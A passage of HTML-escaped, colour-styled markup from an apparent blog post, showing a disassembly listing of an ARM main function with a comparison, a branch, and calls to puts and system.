14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;68&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;r0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d84&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;72&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r2,&amp;nbsp;r4,&amp;nbsp;r3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d88&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;76&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ldr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;[r11,&amp;nbsp;#&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d8c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r2,&amp;nbsp;r3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d90&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;84&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bne&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x8da8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;108&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d94&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;88&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ldr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;[pc,&amp;nbsp;#44]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x8dc8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;140&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d98&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;92&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x1050c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;puts&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d9c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;96&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ldr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;[pc,&amp;nbsp;#40]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x8dcc&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;144&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008da0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xf89c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;system&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008da4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;104&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;b&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x8db0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;116&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008da8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;108&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ldr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;[pc,&amp;nbsp;#32]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x8dd0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;148&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008dac&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;112&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x1050c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;puts&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008db0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;116&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008db4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;r3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008db8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;124&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sp,&amp;nbsp;r11,&amp;nbsp;#8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008dbc&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;128&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;pop&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r4,&amp;nbsp;r11,&amp;nbsp;pc}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008dc0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;132&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;andeq&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r10,&amp;nbsp;r6,&amp;nbsp;r12,&amp;nbsp;lsl&amp;nbsp;#9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008dc4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;136&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;andeq&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r10,&amp;nbsp;r6,&amp;nbsp;r12,&amp;nbsp;lsr&amp;nbsp;#9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008dc8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;140&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;UNDEFINED&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;instruction:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x0006a4b0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008dcc&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;144&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;UNDEFINED&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;instruction:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x0006a4bc&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 